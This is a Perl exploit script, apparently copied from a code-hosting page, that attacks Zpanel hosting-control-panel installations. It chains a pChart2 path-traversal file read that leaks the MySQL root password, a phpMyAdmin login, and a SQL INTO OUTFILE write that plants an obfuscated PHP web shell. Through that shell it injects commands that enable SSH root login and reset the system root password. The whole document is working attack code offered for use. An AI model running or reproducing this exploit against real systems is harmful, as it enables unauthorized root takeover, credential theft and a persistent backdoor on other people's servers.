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| 1 | #!/usr/bin/perl | |
| 2 | #******************************************************************************** | |
| 3 | # | |
| 4 | # | |
| 5 | # Unauthenticated Zpanel Remote Root Exploit | |
| 6 | # [email protected] | |
| 7 | # http://www.0xlabs.com | |
| 8 | # | |
| 9 | # | |
| 10 | #******************************************************************************** | |
| 11 | ||
| 12 | ||
| 13 | use LWP::UserAgent; | |
| 14 | ||
| 15 | $FILE_DISCLOSURE = "etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php"; | |
| 16 | $PMA_PATH = "etc/apps/phpmyadmin/index.php"; | |
| 17 | $PMA_DOCROOT = "etc/apps/phpmyadmin/import.php"; | |
| 18 | ||
| 19 | print "\n\n"; | |
| 20 | print "\t================================\n"; | |
| 21 | print "\t[ Zpanel Remote Root Exploit ]\n"; | |
| 22 | print "\t[ By japp\@0xlabs.com ]\n"; | |
| 23 | print "\t[ www.0xlabs.com ]\n"; | |
| 24 | print "\t================================\n\n"; | |
| 25 | ||
| 26 | ||
| 27 | my $argc = @ARGV; | |
| 28 | ||
| 29 | if ( $argc != 1 ) | |
| 30 | {
| |
| 31 | print " [*] Usage: ".$0." <http://localhost/zpanel/>\n"; | |
| 32 | exit 1; | |
| 33 | } | |
| 34 | ||
| 35 | my $ua = http_handler(); | |
| 36 | my $url = $ARGV[0]; | |
| 37 | ||
| 38 | if ( $url !~ /^http/ ){ $url = "http://".$url; }
| |
| 39 | if ( $url !~ /\/$/ ) { $url .= "/"; }
| |
| 40 | ||
| 41 | print " [*] Trying to get MySQL root password...\n"; | |
| 42 | my $root_pass = GetPasswd ($url, $ua); | |
| 43 | print " [+] Mysql root password: ".$root_pass."\n"; | |
| 44 | ||
| 45 | print " [*] Trying to access through phpMyAdmin...\n"; | |
| 46 | my $token = AccessPma ($root_pass, $url, $ua); | |
| 47 | print " [+] Login successfully\n"; | |
| 48 | ||
| 49 | print " [*] Getting Zpanel document root...\n"; | |
| 50 | my $docroot = GetDocRoot ($token, $url, $ua); | |
| 51 | print " [+] Zpanel document root: ".$docroot."\n"; | |
| 52 | ||
| 53 | print " [*] Uploading shell...\n"; | |
| 54 | UploadShell ($token, $docroot, $url, $ua); | |
| 55 | print " [+] Shell uploaded successfully!\n"; | |
| 56 | ||
| 57 | print " [+] Enabling SSH root login\n"; | |
| 58 | EnableRoot ($url, $ua); | |
| 59 | ||
| 60 | print " [*] Changing root password...\n"; | |
| 61 | ChangePasswd ($url, $ua); | |
| 62 | ||
| 63 | print " [+] Root password changed\n\n"; | |
| 64 | print " [!] Now you can login through SSH. Root password is '0xlabs'\n\n"; | |
| 65 | ||
| 66 | sub ChangePasswd | |
| 67 | {
| |
| 68 | my $url = $_[0]; | |
| 69 | my $ua = $_[1]; | |
| 70 | ||
| 71 | my $rsp = $ua->get ($url."0xlabs.php?c=cd bin;./zsudo \"root:0xlabs\'\" \"|/usr/sbin/chpasswd;%23\""); | |
| 72 | } | |
| 73 | ||
| 74 | sub EnableRoot | |
| 75 | {
| |
| 76 | my $url = $_[0]; | |
| 77 | my $ua = $_[1]; | |
| 78 | ||
| 79 | my $rsp = $ua->get ($url."0xlabs.php?c=cd bin;./zsudo \"\';sed -i \'s-PermitRootLogin no-PermitRootLogin yes-g\'\" \"/etc/ssh/*hd_config %23\""); | |
| 80 | ||
| 81 | } | |
| 82 | ||
| 83 | sub UploadShell | |
| 84 | {
| |
| 85 | my $token = $_[0]; | |
| 86 | my $docroot = $_[1]; | |
| 87 | my $url = $_[2]; | |
| 88 | my $ua = $_[3]; | |
| 89 | ||
| 90 | my %pdata; | |
| 91 | ||
| 92 | $pdata{"token"} = $token;
| |
| 93 | $pdata{"sql_query"} = "SELECT '<?php eval(base64_decode(\"cGFzc3RocnUoJF9HRVRbImMiXSk7\"));?>' INTO OUTFILE '".$docroot."0xlabs.php'";
| |
| 94 | $pdata{"ajax_request"} = "true";
| |
| 95 | ||
| 96 | http_post ($url.$PMA_DOCROOT, $ua, %pdata); | |
| 97 | ||
| 98 | my $rsp = $ua->get ($url."0xlabs.php?c=echo 0xlabs_rulz"); | |
| 99 | ||
| 100 | if (!$rsp->is_success) | |
| 101 | {
| |
| 102 | die (" [-] Can't locate uploaded shell at '".$url."0xlabs.php'\n");
| |
| 103 | } | |
| 104 | my $cont = $rsp->content; | |
| 105 | ||
| 106 | if ( $cont !~ /0xlabs_rulz/ ) | |
| 107 | {
| |
| 108 | die (" [-] Can't validate uploaded shell. Check manually: ".$url."0xlabs.php?c=dir\n");
| |
| 109 | } | |
| 110 | } | |
| 111 | ||
| 112 | sub GetDocRoot | |
| 113 | {
| |
| 114 | my $token = $_[0]; | |
| 115 | my $url = $_[1]; | |
| 116 | my $ua = $_[2]; | |
| 117 | ||
| 118 | my %pdata; | |
| 119 | ||
| 120 | $pdata{"token"} = $token;
| |
| 121 | $pdata{"sql_query"} = "SELECT so_value_tx FROM zpanel_core.x_settings WHERE so_name_vc='zpanel_root'";
| |
| 122 | $pdata{"ajax_request"} = "true";
| |
| 123 | ||
| 124 | my $cont = http_post ($url.$PMA_DOCROOT, $ua, %pdata); | |
| 125 | ||
| 126 | $cont =~ /class=\"data grid_edit\s*">([^<]+)<\/td>/; | |
| 127 | ||
| 128 | return $1; | |
| 129 | } | |
| 130 | ||
| 131 | sub AccessPma | |
| 132 | {
| |
| 133 | my $root_pass = $_[0]; | |
| 134 | my $url = $_[1]; | |
| 135 | my $ua = $_[2]; | |
| 136 | ||
| 137 | my %pdata; | |
| 138 | ||
| 139 | my $rsp = $ua->get ($url.$PMA_PATH); | |
| 140 | ||
| 141 | if (!$rsp->is_success) {
| |
| 142 | die (" [-] Can't access to phpMyAdmin at '".$url.$PMA_PATH."'\n");
| |
| 143 | } | |
| 144 | ||
| 145 | my $cont = $rsp->content; | |
| 146 | ||
| 147 | $cont =~ /name=\"token\" value=\"(.+)\"/; | |
| 148 | ||
| 149 | my $token = $1; | |
| 150 | ||
| 151 | $pdata{"pma_username"} = "root";
| |
| 152 | $pdata{"pma_password"} = $root_pass;
| |
| 153 | $pdata{"server"} = "1";
| |
| 154 | $pdata{"lang"} = "en";
| |
| 155 | $pdata{"collation_connection"} = "utf8_general_ci";
| |
| 156 | $pdata{"token"} = $token;
| |
| 157 | ||
| 158 | $cont = http_post ($url.$PMA_PATH, $ua, %pdata); | |
| 159 | ||
| 160 | if ( $cont =~ /Cannot log in to the MySQL server/ ) | |
| 161 | {
| |
| 162 | die (" [-] Cannot log in to phpMyAdmin\n");
| |
| 163 | } | |
| 164 | ||
| 165 | $cont =~ /\?token=(.+)\"/; | |
| 166 | ||
| 167 | return $1; | |
| 168 | } | |
| 169 | ||
| 170 | ||
| 171 | ||
| 172 | sub GetPasswd | |
| 173 | {
| |
| 174 | my $url = $_[0]; | |
| 175 | my $ua = $_[1]; | |
| 176 | ||
| 177 | ||
| 178 | my $rsp = $ua->get ($url.$FILE_DISCLOSURE); | |
| 179 | ||
| 180 | if (!$rsp->is_success) {
| |
| 181 | die (" [-] Can't get '".$url."'. Check URL.\n");
| |
| 182 | } | |
| 183 | ||
| 184 | my $cont = $rsp->content; | |
| 185 | ||
| 186 | if ( $cont !~ /root/ ) | |
| 187 | {
| |
| 188 | die (" [-] Can't get root password. Patched?\n");
| |
| 189 | } | |
| 190 | ||
| 191 | my $flag = 0; | |
| 192 | while ( $cont =~ /#DD0000\">[\'\"]+([^\"^\']+)[\'\"]+/g ) | |
| 193 | {
| |
| 194 | $flag++; | |
| 195 | if ( $flag == 4 ) | |
| 196 | {
| |
| 197 | return $1; | |
| 198 | } | |
| 199 | } | |
| 200 | ||
| 201 | } | |
| 202 | ||
| 203 | sub http_post | |
| 204 | {
| |
| 205 | my ($host, $ua, %data) = @_; | |
| 206 | ||
| 207 | my $rsp = $ua->post ($host, [%data]); | |
| 208 | ||
| 209 | return ($rsp->content); | |
| 210 | } | |
| 211 | ||
| 212 | sub http_handler | |
| 213 | {
| |
| 214 | my $newhandler = LWP::UserAgent->new() or return -1; | |
| 215 | ||
| 216 | $newhandler->agent ("Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6");
| |
| 217 | $newhandler->timeout(10); | |
| 218 | $newhandler->protocols_allowed(['http','https']); | |
| 219 | $newhandler->cookie_jar( {} );
| |
| 220 | ||
| 221 | push @{ $newhandler->requests_redirectable }, 'GET';
| |
| 222 | push @{ $newhandler->requests_redirectable }, 'POST';
| |
| 223 | ||
| 224 | return $newhandler; | |
| 225 | } |